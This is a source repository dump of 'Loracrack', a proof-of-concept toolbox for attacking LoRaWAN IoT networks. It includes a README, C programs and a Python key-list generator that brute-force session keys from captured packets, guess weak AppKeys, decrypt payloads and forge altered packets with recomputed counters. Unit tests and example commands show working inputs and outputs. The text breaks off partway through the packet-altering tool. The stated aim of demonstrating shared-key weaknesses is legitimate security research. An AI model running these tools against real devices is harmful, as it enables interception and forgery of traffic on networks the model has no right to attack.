├── .gitignore ├── guessjoin_genkeys └── loracrack_guessjoin_gensimplekeys.py ├── headers └── loracrack.h ├── Makefile ├── includes └── helpers.c ├── unit_test.py ├── loracrack_guessjoin.c ├── loracrack_decrypt.c ├── README.md ├── loracrack_genkeys.c ├── loracrack_alterpacket.c ├── loracrack_knownpt.c └── loracrack.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | .DS_Store 3 | loracrack 4 | loracrack_alterpacket 5 | loracrack_decrypt 6 | loracrack_genkeys 7 | loracrack_guessjoin 8 | loracrack_knownpt 9 | openssl-1.0.2q/ 10 | -------------------------------------------------------------------------------- /guessjoin_genkeys/loracrack_guessjoin_gensimplekeys.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | 4 | def get_simple_seqs(chars): 5 | for char_a in chars: 6 | yield char_a * 16 7 | for char_b in chars: 8 | if char_a != char_b: 9 | yield char_a + (char_b * 15) 10 | yield (char_b * 15) + char_b 11 | 12 | def do_output(value): 13 | print value.encode('hex') 14 | 15 | 16 | chars = ''.join([chr(i) for i in range(256)]) 17 | 18 | for i in range(256): 19 | tmp = chars[0] 20 | chars = chars[1:] 21 | chars = chars + tmp 22 | 23 | do_output(chars[:16]) 24 | 25 | chars = chars[::-1] 26 | for i in range(256): 27 | tmp = chars[0] 28 | chars = chars[1:] 29 | chars = chars + tmp 30 | 31 | do_output(chars[:16]) 32 | 33 | chars = ''.join([chr(i) for i in range(256)]) 34 | for x in get_simple_seqs(chars): 35 | do_output(x) -------------------------------------------------------------------------------- /headers/loracrack.h: -------------------------------------------------------------------------------- 1 | 2 | // Exit and print error to stderr 3 | void error_die(char *msg); 4 | 5 | // Hex to binary 6 | // https://gist.github.com/xsleonard/7341172 7 | unsigned char* hexstr_to_char(const char* hexstr); 8 | 9 | // Validate hex input 10 | void validate_hex_input(char *input); 11 | 12 | // Function for printing bytes as hexadecimal 13 | void printBytes(unsigned char *buf, size_t len); 14 | 15 | // Get bits from an index 16 | // https://www.geeksforgeeks.org/extract-k-bits-given-position-number/ 17 | int bitExtracted(int number, int k, int p); 18 | 19 | // Structure for arguments to threads 20 | struct thread_args { 21 | 22 | unsigned int thread_ID; 23 | 24 | unsigned int AppNonce_start; 25 | unsigned int AppNonce_end; 26 | 27 | unsigned int NetID_start; 28 | unsigned int NetID_end; 29 | }; 30 | 31 | // Thread for for trying to crack certain ranges 32 | void *loracrack_thread(void *vargp); 33 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Can be used to link to custom openssl 1.0.* location 2 | openssl_include = -Lincludes/openssl-1.0.2q/ -Iincludes/openssl-1.0.2q/include/ 3 | # Helper functions 4 | helpers_include = includes/*.c 5 | # Other repeatedly used options 6 | otherlz_linkert = -lcrypto -O3 -Wall 7 | 8 | default: all 9 | 10 | all: 11 | gcc loracrack.c $(helpers_include) $(openssl_include) -o loracrack $(otherlz_linkert) -lpthread 12 | gcc loracrack_knownpt.c $(helpers_include) $(openssl_include) -o loracrack_knownpt $(otherlz_linkert) -lpthread 13 | gcc loracrack_decrypt.c $(helpers_include) $(openssl_include) -o loracrack_decrypt $(otherlz_linkert) -lm 14 | gcc loracrack_alterpacket.c $(helpers_include) $(openssl_include) -o loracrack_alterpacket $(otherlz_linkert) -lm 15 | gcc loracrack_genkeys.c $(helpers_include) $(openssl_include) -o loracrack_genkeys $(otherlz_linkert) 16 | gcc loracrack_guessjoin.c $(helpers_include) $(openssl_include) -o loracrack_guessjoin $(otherlz_linkert) 17 | 18 | clear: 19 | rm loracrack 20 | rm loracrack_knownpt 21 | rm loracrack_decrypt 22 | rm loracrack_alterpacket 23 | rm loracrack_genkeys 24 | rm loracrack_guessjoin 25 | 26 | test: 27 | python unit_test.py 28 | -------------------------------------------------------------------------------- /includes/helpers.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | // Exit and print error to stderr 7 | void error_die(char *msg) 8 | { 9 | fprintf(stderr, "%s\n", msg); 10 | exit(1); 11 | } 12 | 13 | // Hex to binary 14 | // https://gist.github.com/xsleonard/7341172 15 | unsigned char* hexstr_to_char(const char* hexstr) 16 | { 17 | size_t len = strlen(hexstr); 18 | size_t final_len = len / 2; 19 | unsigned char* chrs = (unsigned char*)malloc((final_len+1) * sizeof(*chrs)); 20 | for (size_t i=0, j=0; j 256*2) 32 | error_die("Input too large"); 33 | 34 | if (len % 2 != 0) 35 | error_die("Input not of even length"); 36 | 37 | for (size_t i = 0; i < len; i++) { 38 | if ((input[i] >= 'a' && input[i] <= 'f') || (input[i] >= 'A' && input[i] <= 'F') || (input[i] >= '0' && input[i] <= '9')) 39 | continue; 40 | else 41 | error_die("Invalid characters in input"); 42 | } 43 | } 44 | 45 | // Function for printing bytes as hexadecimal 46 | void printBytes(unsigned char *buf, size_t len) 47 | { 48 | for(int i=0; i> (p - 1))); 57 | } 58 | 59 | 60 | -------------------------------------------------------------------------------- /unit_test.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import sys 3 | 4 | 5 | cmd_output_dict = { 6 | 1: ("./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57", 7 | "4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a"), 8 | 2: ("./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332", 9 | "4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a"), 10 | 3: ("./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57", 11 | "30.32"), 12 | 4: ("./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302e3332", 13 | "400267bd018005000142d9f48c52ea717c57"), 14 | 5: ("./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35", 15 | "4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19"), 16 | 6: ("./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys", 17 | "88888888888888888888888888888888") 18 | } 19 | 20 | to_test = -1 21 | if len(sys.argv) > 1: 22 | to_test = int(sys.argv[1]) 23 | 24 | for com in cmd_output_dict: 25 | if to_test != -1 and com != to_test: 26 | continue 27 | 28 | cmd, result = cmd_output_dict[com] 29 | 30 | print "[%s] Executing:\n\t%s" % (com, cmd) 31 | 32 | ret = subprocess.check_output(cmd, shell=True).strip() 33 | 34 | if ret == result: 35 | print "\t[V] Still works" 36 | 37 | else: 38 | print "\t[X] Command failed\n\tExpected: %sGot: %s\n\t" % (result, ret) 39 | 40 | -------------------------------------------------------------------------------- /loracrack_guessjoin.c: -------------------------------------------------------------------------------- 1 | /* 2 | Sipke Mellema 3 | AR '19 4 | */ 5 | 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #include "headers/loracrack.h" 15 | 16 | 17 | int main (int argc, char **argv) 18 | { 19 | // Argument buffers 20 | char *packet_hex = NULL, *filename = NULL; 21 | 22 | // Packet buffers 23 | unsigned char *packet; 24 | unsigned char *MIC_data; 25 | unsigned char MIC[4]; 26 | size_t MIC_data_len = 0; 27 | 28 | 29 | int verbose = 0; 30 | 31 | // Process args 32 | int c; 33 | while ((c = getopt (argc, argv, "v:p:f:")) != -1) 34 | { 35 | switch (c) 36 | { 37 | case 'p': 38 | packet_hex = optarg; 39 | break; 40 | case 'f': 41 | filename = optarg; 42 | break; 43 | case 'v': 44 | verbose = atoi(optarg); 45 | break; 46 | } 47 | } 48 | if (packet_hex == NULL) 49 | error_die("Usage: \ 50 | \n\t./loracrack_guessjoin -p -f \ 51 | \nExample: \ 52 | \n\t./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys\n"); 53 | 54 | // Validate input - General 55 | validate_hex_input(packet_hex); 56 | 57 | // Store data length 58 | size_t packet_len = strlen(packet_hex) / 2; 59 | 60 | // Validate input - Specific 61 | if (packet_len != 23) 62 | error_die("Packet not the right size"); 63 | 64 | // Convert to binary 65 | packet = hexstr_to_char(packet_hex); 66 | 67 | // Parse packet - MIC 68 | MIC[0] = *(packet+(packet_len - 4)); 69 | MIC[1] = *(packet+(packet_len - 3)); 70 | MIC[2] = *(packet+(packet_len - 2)); 71 | MIC[3] = *(packet+(packet_len - 1)); 72 | 73 | // Get MIC data (rest of packet) 74 | MIC_data_len = packet_len - 4; 75 | MIC_data = malloc(MIC_data_len); 76 | 77 | memcpy(MIC_data, packet, MIC_data_len); 78 | 79 | if (verbose) 80 | { 81 | printf("------. L o R a C r a c k - Guess Appkey for joinpacket ------\n"); 82 | printf("\n\tBy Sipke Mellema '19\n\n"); 83 | 84 | printf("\nTrying to find MIC: "); 85 | printBytes(MIC, 4); 86 | } 87 | 88 | CMAC_CTX *ctx_aes128_cmac; 89 | ctx_aes128_cmac = CMAC_CTX_new(); 90 | 91 | unsigned char cmac_result[16]; 92 | size_t cmac_result_len; 93 | 94 | FILE *fp; 95 | char *line = NULL; 96 | size_t len = 0; 97 | ssize_t read; 98 | 99 | // Read file with keys 100 | fp = fopen(filename, "r"); 101 | 102 | if (fp == NULL) 103 | error_die("Could not open file"); 104 | 105 | // Try all keys 106 | unsigned char *AppKey; 107 | while((read = getline(&line, &len, fp)) != -1) 108 | { 109 | AppKey = hexstr_to_char(line); 110 | 111 | if (verbose == 2) 112 | { 113 | printf("Trying key: "); 114 | printBytes(AppKey,16); 115 | printf("\n"); 116 | } 117 | 118 | CMAC_Init(ctx_aes128_cmac, AppKey, 16, EVP_aes_128_cbc(), NULL); 119 | CMAC_Update(ctx_aes128_cmac, MIC_data, MIC_data_len); 120 | CMAC_Final(ctx_aes128_cmac, cmac_result, &cmac_result_len); 121 | 122 | if (verbose == 2) 123 | { 124 | printf("MIC:"); 125 | printBytes(cmac_result,4); 126 | printf("\n"); 127 | } 128 | 129 | // Check if MIC matches MIC from packet 130 | if (memcmp(cmac_result, MIC, 4) == 0) 131 | { 132 | if (verbose) 133 | printf("MIC found with possible AppKey:"); 134 | printBytes(AppKey, 16); 135 | printf ("\n"); 136 | } 137 | } 138 | 139 | fclose(fp); 140 | return 0; 141 | } 142 | -------------------------------------------------------------------------------- /loracrack_decrypt.c: -------------------------------------------------------------------------------- 1 | /* 2 | Sipke Mellema 3 | AR '19 4 | */ 5 | 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #include "headers/loracrack.h" 15 | 16 | 17 | #define MType_UP 0 // uplink 18 | #define MType_DOWN 1 // downlink 19 | 20 | 21 | 22 | int main (int argc, char **argv) 23 | { 24 | char *AppSKey_hex = NULL, *packet_hex= NULL; 25 | unsigned char *AppSKey; 26 | unsigned char *packet; 27 | 28 | // Process args 29 | int c; 30 | while ((c = getopt (argc, argv, "vp:k:")) != -1) 31 | { 32 | switch (c) 33 | { 34 | case 'k': 35 | AppSKey_hex = optarg; 36 | break; 37 | case 'p': 38 | packet_hex = optarg; 39 | break; 40 | } 41 | } 42 | if (AppSKey_hex == NULL || packet_hex == NULL) 43 | error_die("Usage: \ 44 | \n\t./loracrack_decrypt -k -p \ 45 | \nExample: \ 46 | \n\t./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57\n"); 47 | 48 | // Validate input - General 49 | validate_hex_input(AppSKey_hex); 50 | validate_hex_input(packet_hex); 51 | 52 | // Store data length 53 | size_t AppSKey_len = strlen(AppSKey_hex) / 2; 54 | size_t packet_len = strlen(packet_hex) / 2; 55 | 56 | // Validate input - Specific 57 | if (AppSKey_len != 16) 58 | error_die("AppKey must be 16 bytes"); 59 | if (packet_len <= 13) 60 | error_die("Packet data too small"); 61 | 62 | // Convert to binary 63 | AppSKey = hexstr_to_char(AppSKey_hex); 64 | packet = hexstr_to_char(packet_hex); 65 | 66 | // Parse packet - MACHeader 67 | char MHDR = packet[0]; 68 | int MType = bitExtracted(MHDR, 3, 6); // Byte 5-7 69 | 70 | if (MType < 2 || MType > 5) 71 | error_die("Packet not of type Data Up or Data Down"); 72 | 73 | // Parse packet - Direction 74 | char Dir = 0; 75 | if (MType == 2 || MType == 4) 76 | Dir = MType_UP; 77 | if (MType == 3 || MType == 5) 78 | Dir = MType_DOWN; 79 | 80 | // Parse packet - Device address 81 | unsigned int DevAddr = 0; 82 | memcpy(&DevAddr, packet+1, 4); 83 | 84 | // Parse packet - FOptsLen 85 | int FCtrl = packet[5]; 86 | int FOptsLen = bitExtracted(FCtrl, 4, 4); 87 | 88 | // Parse packet - FCnt 89 | short FCnt = 0; 90 | memcpy(&FCnt, packet+6, 2); 91 | 92 | // Skip FPort 93 | 94 | // Parse packet - FRMPayload 95 | size_t FRMPayload_index = 9 + FOptsLen; 96 | if (packet_len - 4 <= FRMPayload_index) 97 | error_die("No FRMPayload data"); 98 | 99 | size_t FRMPayload_len = (packet_len - 4) - FRMPayload_index; 100 | unsigned char *FRMPayload = malloc(FRMPayload_len); 101 | memcpy(FRMPayload, packet+FRMPayload_index, FRMPayload_len); 102 | 103 | // Perform decryption 104 | char *decrypted = malloc(FRMPayload_len+1); 105 | double calc = FRMPayload_len; 106 | size_t nblocks = ceil(calc/16); 107 | 108 | // Cipher vars 109 | EVP_CIPHER_CTX ctx_aes128; 110 | EVP_CIPHER_CTX_init(&ctx_aes128); 111 | 112 | // Encrypted block 113 | unsigned char block[16]; 114 | 115 | int outlen; 116 | FRMPayload_index = 0; 117 | 118 | for (int i = 1; i < nblocks+1; i++) 119 | { 120 | unsigned char A_i[] = { 0x01, 0x00, 0x00, 0x00, 0x00, 121 | Dir, 122 | (DevAddr >> (8*0)) & 0xff, 123 | (DevAddr >> (8*1)) & 0xff, 124 | (DevAddr >> (8*2)) & 0xff, 125 | (DevAddr >> (8*3)) & 0xff, 126 | (FCnt >> (8*0)) & 0xff, 127 | (FCnt >> (8*1)) & 0xff, 128 | 0x00, 129 | 0x00, 130 | 0x00, 131 | i }; 132 | 133 | EVP_EncryptInit_ex(&ctx_aes128, EVP_aes_128_ecb(), NULL, AppSKey, NULL); 134 | EVP_EncryptUpdate(&ctx_aes128, block, &outlen, A_i, 16); 135 | 136 | // XOR block with ciphertext 137 | for (int o = 0; o < 16; o++) 138 | { 139 | decrypted[FRMPayload_index] = FRMPayload[FRMPayload_index] ^ block[o]; 140 | FRMPayload_index += 1; 141 | if (FRMPayload_index > FRMPayload_len) 142 | break; 143 | } 144 | if (FRMPayload_index > FRMPayload_len) 145 | break; 146 | } 147 | 148 | decrypted[FRMPayload_index-1] = '\0'; 149 | 150 | printf("%s\n", decrypted); 151 | 152 | return 0; 153 | } 154 | 155 | 156 | 157 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Loracrack - LoRaWAN session cracker 2 | ##### A PoC for exploiting weak or shared Application Keys 3 | Created by Sipke Mellema of Applied Risk 4 | 5 | This is a Proof-of-Concept for demonstrating the dangers of using the same AppKey on multiple LoRaWAN nodes. 6 | 7 | This repository holds a toolbox for cracking LoRaWAN session keys from captured packets. The attack scenario assumes you know the AppKey but missed the handshake. Or the AppKey isn't random and can be guessed. 8 | 9 | LoRa handshakes use three values to generate the session keys: 10 | `AppNonce | NetID | DevNonce` 11 | AppNonce and NetID are 3 bytes, and DevNonce is 2 bytes. Part of the NetID is known, so that leaves 57-bit entropy. And because of implementation flaws this can get way lower. 12 | 13 | ### Compiling and usage 14 | Just `make` it. Note that you may have to link to an openssl 1.0.* location in the Makefile. 15 | 16 | ### Overview of tools 17 | 18 | #### loracrack 19 | `./loracrack -k -p ` 20 | 21 | Cracks session keys if handshake (join-accept) is missed but AppKey is known. Cracking is done by generating session keys and checking the MIC. 22 | 23 | ```$ gcc loracrack.c includes/*.c -o loracrack -lpthread -lcrypto -O3 24 | $ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 25 | 26 | 4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a 27 | ``` 28 | ``` 29 | Optional arguments: 30 | -t threads 31 | -v verbose (0, 1 or 2) 32 | -m maximum AppNonce 33 | ``` 34 | 35 | #### loracrack_knownpt 36 | `./loracrack_knownpt -k -p -d ` 37 | 38 | Cracks session keys if handshake (join-accept) is missed but AppKey and plaintext are known. Cracking is done by decrypting the FRMPayload and checking the plaintext. It's faster than checking the MIC, since the CMAC uses more AES operations. 39 | 40 | ```$ gcc loracrack_knownpt.c includes/*.c -o loracrack_knownpt -lpthread -lcrypto -O3 41 | $ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332 42 | 43 | 4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a 44 | ``` 45 | ``` 46 | Optional arguments: 47 | -t threads 48 | -v verbose (0, 1 or 2) 49 | -m maximum AppNonce 50 | ``` 51 | 52 | #### loracrack_decrypt 53 | `./loracrack_decrypt -k -p ` 54 | 55 | Decrypts packet data if session key is known. 56 | 57 | ```$ gcc loracrack_decrypt.c includes/*.c -o loracrack_decrypt -lcrypto -O3 58 | $ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57 59 | 60 | 30.32 61 | ``` 62 | 63 | #### loracrack_alterpacket 64 | `./loracrack_alterpacket -p -a -n -c -d ` 65 | 66 | Alters packet with new data, keeps old things like DeviceAddr. 67 | 68 | ```$ gcc loracrack_alterpacket.c includes/*.c -o loracrack_alterpacket -O3 -lcrypto 69 | $ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332 70 | 71 | 400267bd018005000142d9f78c521c78573b 72 | ``` 73 | 74 | #### loracrack_genkeys 75 | `./loracrack_genkeys -k -j -a ` 76 | 77 | Generates session keys given handshake (join and accept packets) and AppKey. 78 | 79 | ```$ gcc loracrack_genkeys.c includes/*.c -o loracrack_genkeys -lcrypto -O3 80 | $ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35 81 | 82 | 4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19 83 | ``` 84 | 85 | #### loracrack_guessjoin 86 | `./loracrack_guessjoin -p -f ` 87 | 88 | Checks if predictable AppKeys are used by checking the MIC on a join packet. AppKeys are taken from a file with hex-encoded AppKeys on new lines. 89 | 90 | ```$ gcc loracrack_guessjoin.c includes/*.c -o loracrack_guessjoin -lcrypto -O3 91 | $ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys 92 | 93 | 88888888888888888888888888888888 94 | ``` 95 | -------------------------------------------------------------------------------- /loracrack_genkeys.c: -------------------------------------------------------------------------------- 1 | /* 2 | Sipke Mellema 3 | AR '19 4 | */ 5 | 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "headers/loracrack.h" 13 | 14 | 15 | int main (int argc, char **argv) 16 | { 17 | char *AppKey_hex = NULL, *join_packet_hex= NULL, *accept_packet_hex= NULL; 18 | 19 | unsigned char *AppKey; 20 | unsigned char *join_packet; 21 | unsigned char *accept_packet; 22 | 23 | int verbose = 0; 24 | 25 | // Process args 26 | int c; 27 | while ((c = getopt (argc, argv, "v:k:j:a:")) != -1) 28 | { 29 | switch (c) 30 | { 31 | case 'k': 32 | AppKey_hex = optarg; 33 | break; 34 | case 'j': 35 | join_packet_hex = optarg; 36 | break; 37 | case 'a': 38 | accept_packet_hex = optarg; 39 | break; 40 | case 'v': 41 | verbose = atoi(optarg); 42 | break; 43 | } 44 | } 45 | if (AppKey_hex == NULL || join_packet_hex == NULL || accept_packet_hex == NULL) 46 | error_die("Usage: \ 47 | \n\t./loracrack_genkeys -k -j -a \ 48 | \nExample: \ 49 | \n\t./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35\n"); 50 | 51 | // Validate input - General 52 | validate_hex_input(AppKey_hex); 53 | validate_hex_input(join_packet_hex); 54 | validate_hex_input(accept_packet_hex); 55 | 56 | // Store data length 57 | size_t AppKey_len = strlen(AppKey_hex) / 2; 58 | size_t join_packet_len = strlen(join_packet_hex) / 2; 59 | size_t accept_packet_len = strlen(accept_packet_hex) / 2; 60 | 61 | // Validate input - Specific 62 | if (AppKey_len != 16) 63 | error_die("AppKey must be 16 bytes"); 64 | if (join_packet_len != 23) 65 | error_die("Join packet incorrect size (not 23 bytes)"); 66 | if (accept_packet_len < 16) 67 | error_die("Accept packet too small"); 68 | 69 | // Convert to binary 70 | AppKey = hexstr_to_char(AppKey_hex); 71 | join_packet = hexstr_to_char(join_packet_hex); 72 | accept_packet = hexstr_to_char(accept_packet_hex); 73 | 74 | 75 | // Grab data from packets 76 | unsigned short DevNonce; 77 | unsigned int AppNonce, NetID; 78 | 79 | unsigned char block[16]; 80 | unsigned char accept_packet_block[16]; 81 | int outlen; 82 | 83 | // Cipher vars 84 | EVP_CIPHER_CTX ctx_aes128; 85 | EVP_CIPHER_CTX_init(&ctx_aes128); 86 | 87 | // Decrypt accept packet 88 | memcpy(accept_packet_block, accept_packet+1, 16); 89 | 90 | EVP_EncryptInit_ex(&ctx_aes128, EVP_aes_128_ecb(), NULL, AppKey, NULL); 91 | // Because Join-Response is encrypted with decrypt() 92 | EVP_EncryptUpdate(&ctx_aes128, block, &outlen, accept_packet_block, 16); 93 | 94 | // Get variables 95 | memcpy(&DevNonce, join_packet+17, 2); 96 | memcpy(&AppNonce, block, 3); 97 | memcpy(&NetID, block+3, 3); 98 | 99 | if (verbose) 100 | { 101 | printf("DevNonce: %x\n", DevNonce); 102 | // printBytes(DevNonce, 2); 103 | printf("\nAppNonce: %x\n", AppNonce); 104 | // printBytes(AppNonce, 3); 105 | printf("\nNetID: %x\n", NetID); 106 | // printBytes(NetID, 3); 107 | printf("\n"); 108 | } 109 | 110 | // Session key generation buffer 111 | unsigned char message[16]; 112 | memset(message, 0, 16); 113 | 114 | // NwkSKey = aes128_encrypt(AppKey, 0x01 | AppNonce | NetID | DevNonce | pad16) 115 | message[0] = 0x01; 116 | // https://stackoverflow.com/questions/7787423/c-get-nth-byte-of-integer 117 | message[1] = (AppNonce >> (8*0)) & 0xff; 118 | message[2] = (AppNonce >> (8*1)) & 0xff; 119 | message[3] = (AppNonce >> (8*2)) & 0xff; 120 | message[4] = (NetID >> (8*0)) & 0xff; 121 | message[5] = (NetID >> (8*1)) & 0xff; 122 | message[6] = (NetID >> (8*2)) & 0xff; 123 | message[7] = (DevNonce >> (8*0)) & 0xff; // Reversed? 124 | message[8] = (DevNonce >> (8*1)) & 0xff; 125 | 126 | // Generate keys 127 | 128 | // NwkSKey 129 | unsigned char NwkSKey[16]; 130 | EVP_EncryptInit_ex(&ctx_aes128, EVP_aes_128_ecb(), NULL, AppKey, NULL); 131 | EVP_EncryptUpdate(&ctx_aes128, NwkSKey, &outlen, message, 16); 132 | 133 | if (verbose) 134 | printf("NwkSKey: "); 135 | printBytes(NwkSKey, 16); 136 | printf(" "); 137 | 138 | // AppSEncKey 139 | message[0] = 0x02; 140 | EVP_EncryptInit_ex(&ctx_aes128, EVP_aes_128_ecb(), NULL, AppKey, NULL); 141 | EVP_EncryptUpdate(&ctx_aes128, NwkSKey, &outlen, message, 16); 142 | 143 | if (verbose) 144 | printf("AppSKey: "); 145 | printBytes(NwkSKey, 16); 146 | printf("\n"); 147 | 148 | return 0; 149 | } 150 | 151 | -------------------------------------------------------------------------------- /loracrack_alterpacket.c: -------------------------------------------------------------------------------- 1 | /* 2 | Sipke Mellema 3 | AR '19 4 | */ 5 | 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #include "headers/loracrack.h" 15 | 16 | 17 | #define MType_UP 0 // uplink 18 | #define MType_DOWN 1 // downlink 19 | 20 | 21 | 22 | int main (int argc, char **argv) 23 | { 24 | char *NwkSKey_hex = NULL, *AppSKey_hex = NULL, *packet_hex = NULL, *data_hex = NULL; 25 | unsigned char *NwkSKey; 26 | unsigned char *AppSKey; 27 | unsigned char *packet; 28 | unsigned char *data; 29 | 30 | // Process args 31 | int c, verbose; 32 | short new_FCnt = 0; 33 | while ((c = getopt (argc, argv, "p:n:a:c:d:v:")) != -1) 34 | { 35 | switch (c) 36 | { 37 | case 'p': 38 | packet_hex = optarg; 39 | break; 40 | case 'n': 41 | NwkSKey_hex = optarg; 42 | break; 43 | case 'a': 44 | AppSKey_hex = optarg; 45 | break; 46 | case 'c': 47 | new_FCnt = atoi(optarg); 48 | break; 49 | case 'd': 50 | data_hex = optarg; 51 | break; 52 | case 'v': 53 | verbose = atoi(optarg); 54 | break; 55 | } 56 | } 57 | if (AppSKey_hex == NULL || packet_hex == NULL || NwkSKey_hex == NULL || data_hex == NULL) 58 | error_die("Usage: \ 59 | \n\t./loracrack_alterpacket -p -a -n -c -d \ 60 | \nExample: \ 61 | \n\t./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332\n"); 62 | 63 | // Validate input - General 64 | validate_hex_input(AppSKey_hex); 65 | validate_hex_input(NwkSKey_hex); 66 | validate_hex_input(data_hex); 67 | validate_hex_input(packet_hex); 68 | 69 | // Store data length 70 | size_t AppSKey_len = strlen(AppSKey_hex) / 2; 71 | size_t NwkSKey_len = strlen(NwkSKey_hex) / 2; 72 | size_t data_len = strlen(data_hex) / 2; 73 | size_t packet_len = strlen(packet_hex) / 2; 74 | 75 | // Validate input - Specific 76 | if (AppSKey_len != 16) 77 | error_die("AppSKey must be 16 bytes"); 78 | if (NwkSKey_len != 16) 79 | error_die("NwkSKey must be 16 bytes"); 80 | if (packet_len <= 13) 81 | error_die("Packet data too small"); 82 | if (data_len > 255-13) 83 | error_die("Data too large"); 84 | 85 | // Convert to binary 86 | AppSKey = hexstr_to_char(AppSKey_hex); 87 | NwkSKey = hexstr_to_char(NwkSKey_hex); 88 | data = hexstr_to_char(data_hex); 89 | packet = hexstr_to_char(packet_hex); 90 | 91 | // Parse packet - MACHeader 92 | char MHDR = packet[0]; 93 | int MType = bitExtracted(MHDR, 3, 6); // Byte 5-7 94 | 95 | if (MType < 2 || MType > 5) 96 | error_die("Packet not of type Data Up or Data Down"); 97 | 98 | // Parse packet - Direction 99 | char Dir = 0; 100 | if (MType == 2 || MType == 4) 101 | Dir = MType_UP; 102 | if (MType == 3 || MType == 5) 103 | Dir = MType_DOWN; 104 | 105 | // Parse packet - Device address 106 | unsigned int DevAddr = 0; 107 | memcpy(&DevAddr, packet+1, 4); 108 | 109 | // Parse packet - FOptsLen 110 | int FCtrl = packet[5]; 111 | int FOptsLen = bitExtracted(FCtrl, 4, 4); 112 | 113 | // Parse packet - FCnt 114 | short FCnt = 0; 115 | memcpy(&FCnt, packet+6, 2); 116 | // Change FCnt? 117 | if (new_FCnt != 0) 118 | { 119 | // Alter in packet 120 | memcpy(packet+6, &new_FCnt, 2); 121 | // Save new FCnt 122 | FCnt = new_FCnt; 123 | } 124 | else 125 | { 126 | // Default is increase counter by 1 127 | FCnt += 1; 128 | // Alter in packet 129 | memcpy(packet+6, &FCnt, 2); 130 | } 131 | 132 | // Skip FPort 133 | 134 | // Parse packet - FRMPayload 135 | size_t FRMPayload_index = 9 + FOptsLen; 136 | if (packet_len - 4 <= FRMPayload_index) 137 | error_die("No FRMPayload data"); 138 | 139 | // Resize the packet for the new data 140 | size_t FRMPayload_len = (packet_len - 4) - FRMPayload_index; 141 | // Update packet len 142 | packet_len = (packet_len - FRMPayload_len) + data_len; 143 | packet = realloc(packet, packet_len); 144 | 145 | // Perform decryption 146 | double calc = data_len; 147 | size_t nblocks = ceil(calc/16); 148 | 149 | // Cipher vars 150 | EVP_CIPHER_CTX ctx_aes128; 151 | EVP_CIPHER_CTX_init(&ctx_aes128); 152 | 153 | // For decrypted block 154 | unsigned char block[16]; 155 | 156 | int outlen; 157 | int data_index = 0; 158 | 159 | // Encrypt and write new data 160 | for (int i = 1; i < nblocks+1; i++) 161 | { 162 | unsigned char A_i[] = { 0x01, 0x00, 0x00, 0x00, 0x00, 163 | Dir, 164 | (DevAddr >> (8*0)) & 0xff, 165 | (DevAddr >> (8*1)) & 0xff, 166 | (DevAddr >> (8*2)) & 0xff, 167 | (DevAddr >> (8*3)) & 0xff, 168 | (FCnt >> (8*0)) & 0xff, 169 | (FCnt >> (8*1)) & 0xff, 170 | 0x00, 171 | 0x00, 172 | 0x00, 173 | i }; 174 | 175 | EVP_EncryptInit_ex(&ctx_aes128, EVP_aes_128_ecb(), NULL, AppSKey, NULL); 176 | EVP_EncryptUpdate(&ctx_aes128, block, &outlen, A_i, 16); 177 | 178 | // XOR block with plaintext 179 | for (int o = 0; o < 16; o++) 180 | { 181 | packet[FRMPayload_index + data_index] = data[data_index] ^ block[o]; 182 | 183 | data_index += 1; 184 | if (data_index > data_len) 185 | break; 186 | } 187 | if (data_index > data_len) 188 | break; 189 | } 190 | 191 | // MIC (CMAC) variables 192 | CMAC_CTX *ctx_aes128_cmac; 193 | ctx_aes128_cmac = 